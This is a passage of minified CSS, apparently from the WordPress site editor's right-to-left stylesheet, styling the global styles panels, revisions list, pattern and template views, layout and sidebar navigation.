16px}.edit-site-global-styles-screen-typography__indicator{align-items:center;border-radius:1px;display:flex!important;font-size:14px;height:24px;justify-content:center;width:24px}.edit-site-global-styles-screen-typography__font-variants-count{color:#757575}.edit-site-global-styles-font-families__manage-fonts{justify-content:center}.edit-site-global-styles-screen .color-block-support-panel{border-top:none;padding-left:0;padding-right:0;padding-top:0;row-gap:12px}.edit-site-global-styles-header__description{padding:0 16px}.edit-site-block-types-search{margin-bottom:8px;padding:0 16px}.edit-site-global-styles-header{margin-bottom:0!important}.edit-site-global-styles-subtitle{font-size:11px!important;font-weight:500!important;margin-bottom:0!important;text-transform:uppercase}.edit-site-global-styles-section-title{color:#2f2f2f;font-weight:600;line-height:1.2;margin:0;padding:16px 16px 0}.edit-site-global-styles-icon-with-current-color{fill:currentColor}.edit-site-global-styles__color-indicator-wrapper{flex-shrink:0;height:24px}.edit-site-global-styles__shadows-panel__options-container,.edit-site-global-styles__typography-panel__options-container{height:24px}.edit-site-global-styles__block-preview-panel{border:1px solid #e0e0e0;border-radius:4px;overflow:hidden;position:relative;width:100%}.edit-site-global-styles__shadow-preview-panel{background-image:repeating-linear-gradient(-45deg,#f5f5f5 25%,#0000 0,#0000 75%,#f5f5f5 0,#f5f5f5),repeating-linear-gradient(-45deg,#f5f5f5 25%,#0000 0,#0000 75%,#f5f5f5 0,#f5f5f5);background-position:100% 0,right 8px top 8px;background-size:16px 16px;border:1px solid #e0e0e0;border-radius:4px;height:144px;overflow:auto}.edit-site-global-styles__shadow-preview-panel .edit-site-global-styles__shadow-preview-block{background-color:#fff;border:1px solid #e0e0e0;border-radius:2px;height:60px;width:60%}.edit-site-global-styles__shadow-editor__dropdown-content{width:280px}.edit-site-global-styles__shadow-editor-panel{margin-bottom:4px}.edit-site-global-styles__shadow-editor__dropdown{position:relative;width:100%}.edit-site-global-styles__shadow-editor__dropdown-toggle{border-radius:inherit;height:auto;padding-bottom:8px;padding-top:8px;text-align:right;width:100%}.edit-site-global-styles__shadow-editor__dropdown-toggle.is-open{background:#f0f0f0;color:var(--wp-admin-theme-color)}.edit-site-global-styles__shadow-editor__remove-button{left:8px;opacity:0;position:absolute;top:8px}.edit-site-global-styles__shadow-editor__remove-button.edit-site-global-styles__shadow-editor__remove-button{border:none}.edit-site-global-styles__shadow-editor__dropdown-toggle:hover+.edit-site-global-styles__shadow-editor__remove-button,.edit-site-global-styles__shadow-editor__remove-button:focus,.edit-site-global-styles__shadow-editor__remove-button:hover{opacity:1}@media (hover:none){.edit-site-global-styles__shadow-editor__remove-button{opacity:1}}.edit-site-global-styles-screen-css{display:flex;flex:1 1 auto;flex-direction:column;margin:16px}.edit-site-global-styles-screen-css .components-v-stack{flex:1 1 auto}.edit-site-global-styles-screen-css .components-v-stack .block-editor-global-styles-advanced-panel__custom-css-input,.edit-site-global-styles-screen-css .components-v-stack .block-editor-global-styles-advanced-panel__custom-css-input .components-base-control__field{display:flex;flex:1 1 auto;flex-direction:column}.edit-site-global-styles-screen-css .components-v-stack .block-editor-global-styles-advanced-panel__custom-css-input .components-base-control__field .components-textarea-control__input{direction:ltr;flex:1 1 auto}.edit-site-global-styles-screen-css-help-link{display:inline-block;margin-top:8px}.edit-site-global-styles-screen-variations{border-top:1px solid #ddd;margin-top:16px}.edit-site-global-styles-screen-variations>*{margin:24px 16px}.edit-site-global-styles-sidebar__navigator-provider{height:100%}.edit-site-global-styles-sidebar__navigator-screen{display:flex;flex-direction:column;height:100%}.edit-site-global-styles-sidebar__navigator-screen .single-column{grid-column:span 1}.edit-site-global-styles-screen-root.edit-site-global-styles-screen-root,.edit-site-global-styles-screen-style-variations.edit-site-global-styles-screen-style-variations{background:unset;color:inherit}.edit-site-global-styles-sidebar__panel .block-editor-block-icon svg{fill:currentColor}.edit-site-global-styles-screen-root__active-style-tile.edit-site-global-styles-screen-root__active-style-tile,.edit-site-global-styles-screen-root__active-style-tile.edit-site-global-styles-screen-root__active-style-tile .edit-site-global-styles-screen-root__active-style-tile-preview{border-radius:2px}.edit-site-global-styles-screen-revisions__revisions-list{flex-grow:1;list-style:none;margin:0 16px 16px}.edit-site-global-styles-screen-revisions__revisions-list li{margin-bottom:0}.edit-site-global-styles-screen-revisions__revision-item{cursor:pointer;display:flex;flex-direction:column;position:relative}.edit-site-global-styles-screen-revisions__revision-item[role=option]:active,.edit-site-global-styles-screen-revisions__revision-item[role=option]:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid #0000}.edit-site-global-styles-screen-revisions__revision-item:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04)}.edit-site-global-styles-screen-revisions__revision-item:hover .edit-site-global-styles-screen-revisions__date{color:var(--wp-admin-theme-color)}.edit-site-global-styles-screen-revisions__revision-item:after,.edit-site-global-styles-screen-revisions__revision-item:before{content:"\a";display:block;position:absolute}.edit-site-global-styles-screen-revisions__revision-item:before{background:#ddd;border:4px solid #0000;border-radius:50%;height:8px;right:17px;top:18px;transform:translate(50%,-50%);width:8px;z-index:1}.edit-site-global-styles-screen-revisions__revision-item[aria-selected=true]{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-radius:2px;color:var(--wp-admin-theme-color);outline:3px solid #0000;outline-offset:-2px}.edit-site-global-styles-screen-revisions__revision-item[aria-selected=true] .edit-site-global-styles-screen-revisions__date{color:var(--wp-admin-theme-color)}.edit-site-global-styles-screen-revisions__revision-item[aria-selected=true]:before{background:var(--wp-admin-theme-color)}.edit-site-global-styles-screen-revisions__revision-item[aria-selected=true] .edit-site-global-styles-screen-revisions__applied-text,.edit-site-global-styles-screen-revisions__revision-item[aria-selected=true] .edit-site-global-styles-screen-revisions__changes>li,.edit-site-global-styles-screen-revisions__revision-item[aria-selected=true] .edit-site-global-styles-screen-revisions__meta{color:#1e1e1e}.edit-site-global-styles-screen-revisions__revision-item:after{border:.5px solid #ddd;height:100%;right:16px;top:0;width:0}.edit-site-global-styles-screen-revisions__revision-item:first-child:after{top:18px}.edit-site-global-styles-screen-revisions__revision-item:last-child:after{height:18px}.edit-site-global-styles-screen-revisions__revision-item-wrapper{display:block;padding:12px 40px 4px 12px}.edit-site-global-styles-screen-revisions__applied-text,.edit-site-global-styles-screen-revisions__apply-button.is-primary{align-self:flex-start;margin:4px 40px 12px 12px}.edit-site-global-styles-screen-revisions__applied-text,.edit-site-global-styles-screen-revisions__changes,.edit-site-global-styles-screen-revisions__meta{color:#757575;font-size:12px}.edit-site-global-styles-screen-revisions__description{align-items:flex-start;display:flex;flex-direction:column;gap:8px}.edit-site-global-styles-screen-revisions__description .edit-site-global-styles-screen-revisions__date{font-size:12px;font-weight:600;text-transform:uppercase}.edit-site-global-styles-screen-revisions__meta{align-items:flex-start;display:flex;justify-content:start;margin-bottom:4px;text-align:right;width:100%}.edit-site-global-styles-screen-revisions__meta img{border-radius:100%;height:16px;margin-left:8px;width:16px}.edit-site-global-styles-screen-revisions__loading{margin:24px auto!important}.edit-site-global-styles-screen-revisions__changes{line-height:1.4;list-style:disc;margin-right:12px;text-align:right}.edit-site-global-styles-screen-revisions__changes li{margin-bottom:4px}.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination{gap:2px;justify-content:space-between}.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .edit-site-pagination__total{height:1px;margin:-1px;overflow:hidden;position:absolute;right:-1000px}.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .components-text{font-size:12px;will-change:opacity}.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .components-button.is-tertiary{color:#1e1e1e}.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .components-button.is-tertiary:disabled,.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .components-button.is-tertiary[aria-disabled=true]{color:#949494}.edit-site-global-styles-screen-revisions__footer{background:#fff;border-top:1px solid #ddd;bottom:0;height:56px;min-width:100%;padding:12px;position:sticky;z-index:1}.edit-site-global-styles-sidebar{display:flex;flex-direction:column;min-height:100%}.edit-site-global-styles-sidebar__panel{flex:1}.edit-site-global-styles-sidebar .edit-site-global-styles-sidebar__header-title{margin:0}.edit-site-global-styles-sidebar .edit-site-global-styles-sidebar__header-actions{flex:1}.edit-site-global-styles-sidebar .components-navigation__menu-title-heading{font-size:15.6px;font-weight:500}.edit-site-global-styles-sidebar .components-navigation__item>button span{font-weight:500}.edit-site-global-styles-sidebar .block-editor-panel-color-gradient-settings{border:0}.edit-site-global-styles-sidebar .single-column{grid-column:span 1}.edit-site-global-styles-sidebar .components-tools-panel .span-columns{grid-column:1/-1}.edit-site-global-styles-sidebar__blocks-group{border-top:1px solid #e0e0e0;padding-top:24px}.edit-site-global-styles-sidebar__blocks-group-help{padding:0 16px}.edit-site-global-styles-color-palette-panel,.edit-site-global-styles-gradient-palette-panel{padding:16px}.edit-site-global-styles-sidebar hr{margin:0}.show-icon-labels .edit-site-global-styles-sidebar__header .components-button.has-icon{width:auto}.show-icon-labels .edit-site-global-styles-sidebar__header .components-button.has-icon svg{display:none}.show-icon-labels .edit-site-global-styles-sidebar__header .components-button.has-icon:after{content:attr(aria-label);font-size:12px}.edit-site-patterns__delete-modal{width:384px}.page-patterns-preview-field{align-items:center;border-radius:4px;display:flex;flex-direction:column;height:100%;justify-content:center}.dataviews-view-grid .page-patterns-preview-field .block-editor-block-preview__container{height:100%}.dataviews-view-table .page-patterns-preview-field{flex-grow:0;text-wrap:balance;text-wrap:pretty;width:96px}.edit-site-patterns__pattern-icon{fill:var(--wp-block-synced-color);flex-shrink:0}.edit-site-patterns__section-header{border-bottom:1px solid #f0f0f0;flex-shrink:0;min-height:40px;padding:16px 48px;position:sticky;top:0;z-index:2}@media not (prefers-reduced-motion){.edit-site-patterns__section-header{transition:padding .1s ease-out}}.edit-site-patterns__section-header .edit-site-patterns__title{min-height:40px}.edit-site-patterns__section-header .edit-site-patterns__title .components-heading{flex-basis:0;flex-grow:1;white-space:nowrap}.edit-site-patterns__section-header .edit-site-patterns__sub-title{margin-bottom:8px}.edit-site-patterns__section-header .screen-reader-shortcut:focus{top:0}.edit-site-page-patterns-dataviews .dataviews-view-grid__badge-fields .dataviews-view-grid__field-value:has(.edit-site-patterns__field-sync-status-fully){background:rgba(var(--wp-block-synced-color--rgb),.04);color:var(--wp-block-synced-color)}.dataviews-action-modal__duplicate-pattern [role=dialog]>[role=document]{width:350px}.dataviews-action-modal__duplicate-pattern .patterns-menu-items__convert-modal-categories{position:relative}.dataviews-action-modal__duplicate-pattern .components-form-token-field__suggestions-list:not(:empty){background-color:#fff;border:1px solid var(--wp-admin-theme-color);border-bottom-left-radius:2px;border-bottom-right-radius:2px;box-shadow:0 0 .5px .5px var(--wp-admin-theme-color);box-sizing:border-box;max-height:96px;min-width:auto;position:absolute;right:-1px;width:calc(100% + 2px);z-index:1}@media (min-width:600px){.dataviews-action-modal__duplicate-template-part .components-modal__frame{max-width:500px}}@container (max-width: 430px){.edit-site-page-patterns-dataviews .edit-site-patterns__section-header{padding-left:24px;padding-right:24px}}.page-templates-preview-field{align-items:center;border-radius:4px;display:flex;flex-direction:column;height:100%;justify-content:center;width:100%}.dataviews-view-list .page-templates-preview-field .block-editor-block-preview__container{height:120px}.dataviews-view-grid .page-templates-preview-field .block-editor-block-preview__container{height:100%}.dataviews-view-table .page-templates-preview-field{max-height:160px;position:relative;text-wrap:balance;text-wrap:pretty;width:120px}.edit-site-page-templates .dataviews-pagination{z-index:2}.page-templates-author-field__avatar{align-items:center;display:flex;flex-shrink:0;height:24px;justify-content:right;overflow:hidden;width:24px}.page-templates-author-field__avatar img{border-radius:100%;height:16px;object-fit:cover;opacity:0;width:16px}@media not (prefers-reduced-motion){.page-templates-author-field__avatar img{transition:opacity .1s linear}}.page-templates-author-field__avatar.is-loaded img{opacity:1}.page-templates-author-field__icon{display:flex;flex-shrink:0;height:24px;width:24px}.page-templates-author-field__icon svg{margin-right:-4px;fill:currentColor}.page-templates-author-field__name{overflow:hidden;text-overflow:ellipsis}.edit-site-list__rename-modal{z-index:1000001}@media (min-width:782px){.edit-site-list__rename-modal .components-base-control{width:320px}}.edit-site-editor__editor-interface{opacity:1}@media not (prefers-reduced-motion){.edit-site-editor__editor-interface{transition:opacity .1s ease-out}}.edit-site-editor__editor-interface.is-loading{opacity:0}.edit-site-editor__toggle-save-panel{background-color:#fff;border:1px dotted #ddd;box-sizing:border-box;display:flex;justify-content:center;padding:24px;width:280px}.edit-site-editor__view-mode-toggle{view-transition-name:toggle;height:64px;right:0;top:0;width:64px;z-index:100}.edit-site-editor__view-mode-toggle .components-button{align-items:center;border-radius:0;color:#fff;display:flex;height:100%;justify-content:center;overflow:hidden;padding:0;width:100%}.edit-site-editor__view-mode-toggle .components-button:active,.edit-site-editor__view-mode-toggle .components-button:hover{color:#fff}.edit-site-editor__view-mode-toggle .components-button:focus{box-shadow:none}.edit-site-editor__view-mode-toggle .edit-site-editor__view-mode-toggle-icon img,.edit-site-editor__view-mode-toggle .edit-site-editor__view-mode-toggle-icon svg{background:#1e1e1e;display:block}.edit-site-editor__back-icon{align-items:center;background-color:#ccc;display:flex;height:64px;justify-content:center;pointer-events:none;position:absolute;right:0;top:0;width:64px}.edit-site-editor__back-icon svg{fill:currentColor}.edit-site-editor__back-icon.has-site-icon{backdrop-filter:saturate(180%) blur(15px);background-color:#fff9}.edit-site-welcome-guide{width:312px}.edit-site-welcome-guide.guide-editor .edit-site-welcome-guide__image,.edit-site-welcome-guide.guide-styles .edit-site-welcome-guide__image{background:#00a0d2}.edit-site-welcome-guide.guide-page .edit-site-welcome-guide__video{border-left:16px solid #3858e9;border-top:16px solid #3858e9}.edit-site-welcome-guide.guide-template .edit-site-welcome-guide__video{border-right:16px solid #3858e9;border-top:16px solid #3858e9}.edit-site-welcome-guide__image{margin:0 0 16px}.edit-site-welcome-guide__image>img{display:block;max-width:100%;object-fit:cover}.edit-site-welcome-guide__heading{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:24px;line-height:1.4;margin:16px 0;padding:0 32px}.edit-site-welcome-guide__text{font-size:13px;line-height:1.4;margin:0 0 16px;padding:0 32px}.edit-site-welcome-guide__text img{vertical-align:bottom}.edit-site-welcome-guide__inserter-icon{margin:0 4px;vertical-align:text-top}.edit-site-layout{color:#ccc;display:flex;flex-direction:column;height:100%}.edit-site-layout,.edit-site-layout:not(.is-full-canvas) .editor-visual-editor{background:#1e1e1e}.edit-site-layout__content{display:flex;flex-grow:1;height:100%}.edit-site-layout__sidebar-region{flex-shrink:0;width:100vw;z-index:1}@media (min-width:782px){.edit-site-layout__sidebar-region{width:300px}}.edit-site-layout.is-full-canvas .edit-site-layout__sidebar-region{height:100vh;position:fixed!important;right:0;top:0}.edit-site-layout__sidebar-region .edit-site-layout__sidebar{display:flex;flex-direction:column;height:100%}.edit-site-layout__sidebar-region .resizable-editor__drag-handle{left:0}.edit-site-layout__main{display:flex;flex-direction:column;flex-grow:1;overflow:hidden}.edit-site-layout__mobile{display:flex;flex-direction:column;position:relative;width:100%;z-index:2}.edit-site-layout__mobile .edit-site-sidebar__screen-wrapper{padding:0}.edit-site-layout__mobile .edit-site-sidebar-navigation-screen__main{padding:0 12px}.edit-site-layout__canvas-container{flex-grow:1;overflow:visible;position:relative;z-index:2}.edit-site-layout__canvas-container.is-resizing:after{bottom:0;content:"";left:0;position:absolute;right:0;top:0;z-index:100}.edit-site-layout__canvas{align-items:center;bottom:0;display:flex;justify-content:center;position:absolute;right:0;top:0;width:100%}.edit-site-layout__canvas.is-right-aligned{justify-content:flex-end}.edit-site-layout__canvas .edit-site-resizable-frame__inner{color:#1e1e1e}@media (min-width:782px){.edit-site-layout__canvas{bottom:16px;top:16px;width:calc(100% - 16px)}.edit-site-layout__canvas .edit-site-resizable-frame__inner-content{box-shadow:0 1px 1px #00000008,0 1px 2px #00000005,0 3px 3px #00000005,0 4px 4px #00000003;overflow:hidden}}@media (min-width:782px) and (not (prefers-reduced-motion)){.edit-site-layout__canvas .edit-site-resizable-frame__inner-content{transition:border-radius,box-shadow .4s}}@media (min-width:782px){.edit-site-layout:not(.is-full-canvas) .edit-site-layout__canvas .edit-site-resizable-frame__inner-content{border-radius:8px}.edit-site-layout__canvas .edit-site-resizable-frame__inner-content:hover{box-shadow:0 5px 15px #00000014,0 15px 27px #00000012,0 30px 36px #0000000a,0 50px 43px #00000005}}.edit-site-layout.is-full-canvas .edit-site-layout__canvas{bottom:0;top:0;width:100%}.edit-site-layout__canvas .interface-interface-skeleton,.edit-site-layout__mobile .interface-interface-skeleton,.edit-site-template-pages-preview .interface-interface-skeleton{min-height:100%!important;position:relative!important}.edit-site-template-pages-preview{height:100%}html.canvas-mode-edit-transition::view-transition-group(toggle){animation-delay:255ms}@media (prefers-reduced-motion){::view-transition-group(*),::view-transition-new(*),::view-transition-old(*){animation:none!important}}.edit-site-layout.is-full-canvas .edit-site-layout__sidebar-region .edit-site-layout__view-mode-toggle{display:none}.edit-site-layout__view-mode-toggle.components-button{view-transition-name:toggle;align-items:center;background:#1e1e1e;border-radius:0;color:#fff;display:flex;height:64px;justify-content:center;overflow:hidden;padding:0;position:relative;width:64px}.edit-site-layout__view-mode-toggle.components-button:active,.edit-site-layout__view-mode-toggle.components-button:hover{color:#fff}.edit-site-layout__view-mode-toggle.components-button:focus,.edit-site-layout__view-mode-toggle.components-button:focus-visible{box-shadow:0 0 0 3px #1e1e1e,0 0 0 6px var(--wp-admin-theme-color);outline:4px solid #0000;outline-offset:4px}.edit-site-layout__view-mode-toggle.components-button:before{border-radius:4px;bottom:9px;box-shadow:none;content:"";display:block;left:9px;position:absolute;right:17px;top:9px}@media not (prefers-reduced-motion){.edit-site-layout__view-mode-toggle.components-button:before{transition:box-shadow .1s ease}}.edit-site-layout__view-mode-toggle.components-button .edit-site-layout__view-mode-toggle-icon{align-items:center;display:flex;height:64px;justify-content:center;width:64px}.edit-site-layout__actions{background:#fff;bottom:auto;color:#1e1e1e;left:0;position:fixed!important;right:auto;top:-9999em;width:280px;z-index:100000}.edit-site-layout__actions:focus,.edit-site-layout__actions:focus-within{bottom:0;top:auto}.edit-site-layout__actions.is-entity-save-view-open:focus,.edit-site-layout__actions.is-entity-save-view-open:focus-within{top:0}@media (min-width:782px){.edit-site-layout__actions{border-right:1px solid #ddd}}.edit-site-layout__area{box-shadow:0 1px 1px #00000008,0 1px 2px #00000005,0 3px 3px #00000005,0 4px 4px #00000003;flex-grow:1;margin:0;overflow:hidden}@media (min-width:782px){.edit-site-layout__area{border-radius:8px;margin:16px 0 16px 16px}}.edit-site .components-editor-notices__snackbar{bottom:16px;left:0;padding-left:16px;padding-right:16px;position:fixed}.edit-site-save-hub{border-top:1px solid #2f2f2f;color:#949494;flex-shrink:0;margin:0;padding:16px}.edit-site-save-hub__button{color:inherit;justify-content:center;width:100%}.edit-site-save-hub__button[aria-disabled=true]{opacity:1}.edit-site-save-hub__button[aria-disabled=true]:hover{color:inherit}.edit-site-save-hub__button:not(.is-primary).is-busy,.edit-site-save-hub__button:not(.is-primary).is-busy[aria-disabled=true]:hover{color:#1e1e1e}@media (min-width:600px){.edit-site-save-panel__modal{width:600px}}.edit-site-sidebar__content{contain:content;flex-grow:1;overflow-x:hidden;overflow-y:auto}@keyframes local--slide-from-right{0%{opacity:0;transform:translateX(-50px)}to{opacity:1;transform:none}}@keyframes local--slide-from-left{0%{opacity:0;transform:translateX(50px)}to{opacity:1;transform:none}}.edit-site-sidebar__screen-wrapper{overflow-x:auto}.edit-site-sidebar__screen-wrapper::-webkit-scrollbar{height:12px;width:12px}.edit-site-sidebar__screen-wrapper::-webkit-scrollbar-track{background-color:initial}.edit-site-sidebar__screen-wrapper::-webkit-scrollbar-thumb{background-clip:padding-box;background-color:initial;border:3px solid #0000;border-radius:8px}.edit-site-sidebar__screen-wrapper:focus-within::-webkit-scrollbar-thumb,.edit-site-sidebar__screen-wrapper:focus::-webkit-scrollbar-thumb,.edit-site-sidebar__screen-wrapper:hover::-webkit-scrollbar-thumb{background-color:#757575}.edit-site-sidebar__screen-wrapper{scrollbar-color:#0000 #0000;scrollbar-gutter:stable both-edges;scrollbar-width:thin}.edit-site-sidebar__screen-wrapper:focus,.edit-site-sidebar__screen-wrapper:focus-within,.edit-site-sidebar__screen-wrapper:hover{scrollbar-color:#757575 #0000}.edit-site-sidebar__screen-wrapper{will-change:transform}@media (hover:none){.edit-site-sidebar__screen-wrapper{scrollbar-color:#757575 #0000}}.edit-site-sidebar__screen-wrapper{animation-duration:.14s;animation-timing-function:ease-in-out;display:flex;flex-direction:column;height:100%;max-height:100%;padding:0 12px;scrollbar-gutter:stable;will-change:transform,opacity}@media (prefers-reduced-motion:reduce){.edit-site-sidebar__screen-wrapper{animation-duration:0s}}.edit-site-sidebar__screen-wrapper.slide-from-left{animation-name:local--slide-from-left}.edit-site-sidebar__screen-wrapper.slide-from-right{animation-name:local--slide-from-right}.edit-site-sidebar-button{color:#e0e0e0;flex-shrink:0}.edit-site-sidebar-button:focus:not(:disabled){box-shadow:none;outline:none}.edit-site-sidebar-button:focus-visible:not(:disabled){box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:3px solid #0000}.edit-site-sidebar-button:focus,.edit-site-sidebar-button:focus-visible,.edit-site-sidebar-button:hover:not(:disabled,[aria-disabled=true]),.edit-site-sidebar-button:not(:disabled,[aria-disabled=true]):active,.edit-site-sidebar-button[aria-expanded=true]{color:#f0f0f0}.edit-site-sidebar-navigation-item.components-item{border:none;color:#949494;min-height:40px;padding:8px 16px 8px 6px}.edit-site-sidebar-navigation-item.components-item:focus,.edit-site-sidebar-navigation-item.components-item:hover,.edit-site-sidebar-navigation-item.components-item[aria-current=true]{color:#e0e0e0}.edit-site-sidebar-navigation-item.components-item:focus .edit-site-sidebar-navigation-item__drilldown-indicator,.edit-site-sidebar-navigation-item.components-item:hover .edit-site-sidebar-navigation-item__drilldown-indicator,.edit-site-sidebar-navigation-item.components-item[aria-current=true] .edit-site-sidebar-navigation-item__drilldown-indicator{fill:#e0e0e0}.edit-site-sidebar-navigation-item.components-item[aria-current=true]{background:#2f2f2f;color:#fff;font-weight:500}.edit-site-sidebar-navigation-item.components-item:focus-visible{transform:translateZ(0)}.edit-site-sidebar-navigation-item.components-item .edit-site-sidebar-navigation-item__drilldown-indicator{fill:#949494}.edit-site-sidebar-navigation-item.components-item.with-suffix{padding-left:16px}.edit-site-sidebar-navigation-screen__content .block-editor-list-view-block-select-button{cursor:grab;padding:8px 0 8px 8px}.edit-site-sidebar-navigation-screen{display:flex;flex-direction:column;overflow-x:unset!important;position:relative}.edit-site-sidebar-navigation-screen__main{flex-grow:1;margin-bottom:16px}.edit-site-sidebar-navigation-screen__main.has-footer{margin-bottom:0}.edit-site-sidebar-navigation-screen__content{padding:0 16px}.edit-site-sidebar-navigation-screen__content .components-text{color:#ccc}.edit-site-sidebar-navigation-screen__content .components-heading{margin-bottom:8px}.edit-site-sidebar-navigation-screen__title-icon{background:#1e1e1e;margin-bottom:8px;padding-bottom:8px;padding-top:48px;position:sticky;top:0;z-index:1}.edit-site-sidebar-navigation-screen__title{flex-grow:1;overflow-wrap:break-word}.edit-site-sidebar-navigation-screen__title.edit-site-sidebar-navigation-screen__title,.edit-site-sidebar-navigation-screen__title.edit-site-sidebar-navigation-screen__title .edit-site-sidebar-navigation-screen__title{line-height:32px}.edit-site-sidebar-navigation-screen__actions{display:flex;flex-shrink:0}@media (min-width:782px){.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-variation-container{max-width:292px}}.edit-site-global-styles-variation-title{color:#ddd;font-size:11px;font-weight:500;text-transform:uppercase}.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-variations_item .edit-site-global-styles-variations_item-preview{outline-color:#ffffff0d}.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-variations_item:not(.is-active):hover .edit-site-global-styles-variations_item-preview{outline-color:#ffffff26}.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-variations_item.is-active .edit-site-global-styles-variations_item-preview{outline-color:#fff}.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-variations_item:focus-visible .edit-site-global-styles-variations_item-preview{outline-color:var(--wp-admin-theme-color)}.edit-site-sidebar-navigation-screen__footer{background-color:#1e1e1e;border-top:1px solid #2f2f2f;bottom:0;gap:0;margin:16px 0 0;padding:8px 16px;position:sticky}.edit-site-sidebar-navigation-screen__footer .edit-site-sidebar-navigation-screen-details-footer{margin-left:-16px;margin-right:-16px}.edit-site-sidebar-navigation-screen__input-control{width:100%}.edit-site-sidebar-navigation-screen__input-control .components-input-control__container{background:#2f2f2f}.edit-site-sidebar-navigation-screen__input-control .components-input-control__container .components-button{color:#e0e0e0!important}.edit-site-sidebar-navigation-screen__input-control .components-input-control__input{background:#2f2f2f!important;color:#e0e0e0!important}.edit-site-sidebar-navigation-screen__input-control .components-input-control__backdrop{border:4px!important}.edit-site-sidebar-navigation-screen__input-control .components-base-control__help{color:#949494}.edit-site-sidebar-navigation-screen-details-footer div.edit-site-sidebar-navigation-item.components-item:focus,.edit-site-sidebar-navigation-screen-details-footer div.edit-site-sidebar-navigation-item.components-item:hover,.edit-site-sidebar-navigation-screen-details-footer div.edit-site-sidebar-navigation-item.components-item[aria-current]{background:none}.sidebar-navigation__more-menu .components-button{color:#e0e0e0}.sidebar-navigation__more-menu .components-button:focus,.sidebar-navigation__more-menu .components-button:hover,.sidebar-navigation__more-menu .components-button[aria-current]{color:#f0f0f0}.edit-site-sidebar-navigation-screen-patterns__group{margin-bottom:24px;margin-left:-16px;margin-right:-16px}.edit-site-sidebar-navigation-screen-patterns__group:last-of-type{border-bottom:0;margin-bottom:0;padding-bottom:0}.edit-site-sidebar-navigation-screen-patterns__group-header{margin-top:16px}.edit-site-sidebar-navigation-screen-patterns__group-header p{color:#949494}.edit-site-sidebar-navigation-screen-patterns__group-header h2{font-size:11px;font-weight:500;text-transform:uppercase}.edit-site-sidebar-navigation-screen-patterns__divider{border-top:1px solid #2f2f2f;margin:16px 0}.edit-site-sidebar-navigation-screen__description{margin:0 0 32px}.edit-site-sidebar-navigation-screen-navigation-menus{margin-left:-16px;margin-right:-16px}.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-leaf .block-editor-list-view-block-contents{white-space:normal}.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__title{margin-top:3px}.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__menu-cell{padding-left:0}.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block-select-button{color:#949494}.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block-select-button:focus,.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block-select-button:hover,.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block-select-button[aria-current]{color:#fff}.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__menu{color:#949494}.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__menu:focus,.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__menu:hover{color:#fff}.edit-site-sidebar-navigation-screen-navigation-menus__loading.components-spinner{display:block;margin-left:auto;margin-right:auto}.edit-site-sidebar-navigation-screen-navigation-menus__helper-block-editor{display:none}.edit-site-sidebar-dataviews,.edit-site-sidebar-navigation-screen-main,.edit-site-sidebar-navigation-screen-templates-browse{margin-left:-16px;margin-right:-16px}.edit-site-sidebar-dataviews-dataview-item{border-radius:2px}.edit-site-sidebar-dataviews-dataview-item:focus,.edit-site-sidebar-dataviews-dataview-item:hover,.edit-site-sidebar-dataviews-dataview-item[aria-current]{color:#e0e0e0}.edit-site-sidebar-dataviews-dataview-item.is-selected{background:#2f2f2f;color:#fff;font-weight:500}.edit-site-site-hub{align-items:center;display:flex;gap:8px;height:64px;justify-content:space-between;margin-left:12px}.edit-site-site-hub__actions{flex-shrink:0}.edit-site-site-hub__view-mode-toggle-container{flex-shrink:0;height:64px;width:64px}.edit-site-site-hub__view-mode-toggle-container.has-transparent-background .edit-site-layout__view-mode-toggle-icon{background:#0000}.edit-site-site-hub__title .components-button{color:#e0e0e0;display:block;flex-grow:1;font-size:15px;font-weight:500;margin-right:-4px;overflow:hidden;padding-left:16px;position:relative;text-decoration:none;text-overflow:ellipsis;white-space:nowrap}.edit-site-site-hub__title .components-button:active,.edit-site-site-hub__title .components-button:focus,.edit-site-site-hub__title .components-button:hover{color:#e0e0e0}.edit-site-site-hub__title .components-button:focus{box-shadow:none;outline:none}.edit-site-site-hub__title .components-button:focus-visible{box-shadow:0 0 0 var(--wp-admin-border-width-focus) #1e1e1e,0 0 0 calc(var(--wp-admin-border-width-focus)*2) var(--wp-admin-theme-color);outline:2px solid #0000;outline-offset:2px}.edit-site-site-hub__title .components-button:after{content:"↗";font-weight:400;left:0;opacity:0;position:absolute}@media not (prefers-reduced-motion){.edit-site-site-hub__title .components-button:after{transition:opacity .1s linear}}.edit-site-site-hub__title .components-button:active:after,.edit-site-site-hub__title .components-button:focus:after,.edit-site-site-hub__title .components-button:hover:after{opacity:1}.edit-site-site-hub_toggle-command-center{color:#e0e0e0}.edit-site-site-hub_toggle-command-center:active svg,.edit-site-site-hub_toggle-command-center:hover svg{fill:#f0f0f0}.edit-site-site-icon__icon{fill:currentColor;height:100%;width:100%}.edit-site-layout.is-full-canvas 